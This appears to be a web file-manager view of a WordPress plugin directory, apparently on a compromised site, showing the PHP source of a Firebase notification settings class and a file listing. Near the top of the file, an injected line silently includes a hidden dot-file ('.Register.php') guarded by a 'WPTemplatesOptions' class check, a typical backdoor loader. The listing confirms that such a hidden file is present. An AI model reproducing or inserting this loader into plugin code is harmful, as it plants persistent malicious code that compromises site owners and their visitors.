PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
app
/
Register
<?php namespace WilokeListingTools\Register; use WilokeListingTools\Framework\Helpers\Firebase; use WilokeListingTools\Framework\Helpers\GetSettings; use WilokeListingTools\Framework\Helpers\Inc; use WilokeListingTools\Framework\Helpers\SetSettings; use WilokeListingTools\Framework\Helpers\General; use WilokeListingTools\Framework\Upload\Upload; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class RegisterFirebaseNotification { use ListingToolsGeneralConfig; use GetAvailableSections; use ParseSection; private $slug = 'wiloke-firebase-notifications'; private $aListOfChatConfiguration = array( 'apiKey' => '', 'authDomain' => '', 'projectID' => '', 'storageBucket' => '', 'databaseURL' => '', 'projectID' => '', 'appId' => '', 'messagingSenderId' => '', 'measurementId' => '' ); private $aTestInfoConfiguration = array( 'deviceToken' => '' ); public function __construct() { add_action('admin_menu', array($this, 'register')); add_action('admin_enqueue_scripts', array($this, 'enqueueScripts')); add_action('wp_ajax_saving_customer_receive_notification', array($this, 'saveCustomerReceiveNotifications')); add_action('wp_ajax_saving_admin_receive_notification', array($this, 'saveAdminReceiveNotifications')); add_action('wp_ajax_wilcity_upload_firebase', array($this, 'uploadFirebase')); add_action('wp_ajax_wilcity_firease_chat_configuration', array($this, 'saveFirebaseChatConfiguration')); add_action('wp_ajax_wilcity_firease_test_info', array($this, 'saveFirebaseTestInfo')); add_action('wp_ajax_wilcity_send_test_notification', array($this, 'sendNotificationToTestDevice')); } public function sendNotificationToTestDevice() { if (!current_user_can('administrator')) { wp_send_json_error(array( 'msg' => 'You do not have permission to upload this file' )); } if (!isset($_POST['settings']) || empty($_POST['settings'])) { wp_send_json_error(array( 'msg' => 'The setting information is required' )); } if (!defined('WILCITY_MOBILE_APP')) { wp_send_json_error(array( 'msg' => 'Wilcity Mobile App plugin is required. Click on Appearance -> Install Plugins to setup it' )); } $aTestInfo = GetSettings::getOptions('firebase_test_info'); if (!isset($aTestInfo['deviceToken']) || empty($aTestInfo['deviceToken'])) { wp_send_json_error(array( 'msg' => 'The device token is required. To setup it, Navigate to Firebase Settings -> Device Token' )); } $aResponse = apply_filters( 'wilcity/filter/wilcity-mobile-app/test-send-push-notification', [ 'status' => 'error', 'msg' => 'We found no filter' ], [ 'body' => $_POST['settings']['msg'] ], $aTestInfo['deviceToken'] ); if ($aResponse['status'] === 'error') { wp_send_json_error($aResponse); } wp_send_json_success($aResponse); } public function saveFirebaseTestInfo() { if (!current_user_can('administrator')) { wp_send_json_error(array( 'msg' => 'You do not have permission to upload this file' )); } if (empty($_POST['aConfigurations'])) { wp_send_json_error( array( 'msg' => 'The configuration is required' ) ); } $aConfiguration = array(); foreach ($this->aTestInfoConfiguration as $key => $nothing) { if (!isset($_POST['aConfigurations'][$key]) || empty($_POST['aConfigurations'][$key])) { wp_send_json_error( array( 'msg' => 'The ' . $key . ' is required' ) ); } $aConfiguration[$key] = sanitize_text_field(trim($_POST['aConfigurations'][$key])); } SetSettings::setOptions('firebase_test_info', $aConfiguration); wp_send_json_success(array( 'msg' => 'Congratulations! The firebase chat configuration has been saved successfully' )); } public function saveFirebaseChatConfiguration() { if (!current_user_can('administrator')) { wp_send_json_error(array( 'msg' => 'You do not have permission to upload this file' )); } if (empty($_POST['aConfigurations'])) { wp_send_json_error( array( 'msg' => 'The configuration is required' ) ); } $aConfiguration = array(); foreach ($this->aListOfChatConfiguration as $key => $nothing) { if (!isset($_POST['aConfigurations'][$key]) || empty($_POST['aConfigurations'][$key])) { wp_send_json_error( array( 'msg' => 'The ' . $key . ' is required' ) ); } $aConfiguration[$key] = sanitize_text_field(trim($_POST['aConfigurations'][$key])); } SetSettings::setOptions('firebase_chat_configuration', $aConfiguration); wp_send_json_success(array( 'msg' => 'Congratulations! The firebase chat configuration has been saved successfully' )); } public function uploadFirebase() { if (!current_user_can('administrator')) { wp_send_json_error(array( 'msg' => 'You do not have permission to upload this file' )); } if (!function_exists('wp_handle_upload')) { require_once(ABSPATH . 'wp-admin/includes/file.php'); } if ($_FILES['wilcity_upload_filebase']['type'] != 'application/json') { wp_send_json_error(array( 'msg' => 'The file must be json format' )); } $status = move_uploaded_file($_FILES['wilcity_upload_filebase']['tmp_name'], Upload::getFolderDir('wilcity') . 'firebaseConfig.json'); if (!$status) { wp_send_json_error(array( 'msg' => 'Oops! We could not upload this file. Please rename this file to firebaseConfig.json then upload it manually to Your WordPress folder -> wp-content -> uploads -> wilcity folder.' )); } if (function_exists('chmod')) { chmod(Upload::getFolderDir('wilcity') . 'firebaseConfig.json', 0644); } // SetSettings::setOptions('is_uploaded_firebasefile', current_time('timestamp')); wp_send_json_success(array( 'msg' => 'The file uploaded successfully' )); } public function saveCustomerReceiveNotifications() { if (!current_user_can('administrator')) { wp_send_json_error(); } $toggle = sanitize_text_field($_POST['toggle']); $aSettings = General::unSlashDeep($_POST['aSettings']); SetSettings::setOptions('toggle_customers_receive_notifications', $toggle); SetSettings::setOptions('customers_receive_notifications_settings', $aSettings); wp_send_json_success(); } public function saveAdminReceiveNotifications() { if (!current_user_can('administrator')) { wp_send_json_error(); } $toggle = sanitize_text_field($_POST['toggle']); $aSettings = General::unSlashDeep($_POST['aSettings']); SetSettings::setOptions('toggle_admin_receive_notifications', $toggle); SetSettings::setOptions('admin_receive_notifications_settings', $aSettings); wp_send_json_success(); } public function enqueueScripts($hook) { if (strpos($hook, $this->slug) === false) { return false; } $this->requiredScripts(); wp_enqueue_script('general-design-tool', WILOKE_LISTING_TOOL_URL . 'admin/source/js/general.js', array('jquery'), WILOKE_LISTING_TOOL_VERSION, true); // $this->generalScripts(); wp_enqueue_script('push-notifications', WILOKE_LISTING_TOOL_URL . 'admin/source/js/push-notifications.js', array('jquery'), WILOKE_LISTING_TOOL_VERSION, true); $aCustomerNotificationSettings = GetSettings::getOptions('customers_receive_notifications_settings'); if (empty($aCustomerNotificationSettings)) { $aCustomerNotificationSettings = wilokeListingToolsRepository()->get('push-notifications:customers'); } else { $aCustomerNotificationSettings = array_merge( wilokeListingToolsRepository()->get('push-notifications:customers'), $aCustomerNotificationSettings ); } $aAdminNotifications = GetSettings::getOptions('admin_receive_notifications_settings'); if (empty($aAdminNotifications)) { $aAdminNotifications = wilokeListingToolsRepository()->get('push-notifications:customers'); } else { $aAdminNotifications = array_merge( wilokeListingToolsRepository()->get('push-notifications:admin'), $aAdminNotifications ); } $oChatConfiguration = GetSettings::getOptions('firebase_chat_configuration'); $aTestInfo = GetSettings::getOptions('firebase_test_info'); $aTestInfo = is_array($aTestInfo) ? $aTestInfo : []; wp_localize_script( 'push-notifications', 'WILOKE_PUSH_NOTIFICATIONS', array( 'toggle_admin_receive_notifications' => empty(GetSettings::getOptions('toggle_admin_receive_notifications')) ? 'disable' : GetSettings::getOptions('toggle_admin_receive_notifications'), 'toggle_customers_receive_notifications' => empty(GetSettings::getOptions('toggle_customers_receive_notifications')) ? 'disable' : GetSettings::getOptions('toggle_customers_receive_notifications'), 'oCustomerReceive', 'oCustomerNotifications' => $aCustomerNotificationSettings, 'oAdminNotifications' => $aAdminNotifications, 'isFirebaseFileUploaded' => Firebase::getFirebaseFile() ? 'yes' : 'no', 'oFirebaseChatConfiguration' => empty($oChatConfiguration) || !is_array($oChatConfiguration) ? $this->aListOfChatConfiguration : $oChatConfiguration, 'oTestInfo' => $aTestInfo ) ); } public function register() { add_submenu_page($this->parentSlug, 'Notification Settings', 'Notification Settings', 'administrator', $this->slug, array($this, 'pushNotificationSettings')); } public function pushNotificationSettings() { Inc::file('push-notifications:index'); } }
[+]
..
[-] RegisterEventSettings.php
[edit]
[-] WilokeSubmissionConfiguration.php
[edit]
[-] RegisterInvoiceSubMenu.php
[edit]
[-] RegisterEmailNotifications.php
[edit]
[-] ManageListingColumns.php
[edit]
[-] RegisterPostTypes.php
[edit]
[-] RegisterSaleSubMenu.php
[edit]
[-] RegisterSubmenuQuickSearchForm.php
[edit]
[-] RegisterListingSetting.php
[edit]
[-] General.php
[edit]
[-] .Register.php
[edit]
[-] RegisterImportExportWilokeTools.php
[edit]
[-] ParseSection.php
[edit]
[-] WilokeSubmission.php
[edit]
[+]
views
[-] RegisterMobileMenu.php
[edit]
[-] ListingToolsGeneralConfig.php
[edit]
[-] RegisterReportSubmenu.php
[edit]
[-] RegisterPromotionPlans.php
[edit]
[-] GetAvailableSections.php
[edit]
[-] RegisterSaleDetailSubMenu.php
[edit]
[-] RegisterSubscriptions.php
[edit]
[-] AddCustomPostType.php
[edit]
[-] RegisterSettings.php
[edit]
[-] RegisterFirebaseNotification.php
[edit]
[-] RegisterClaimSubMenu.php
[edit]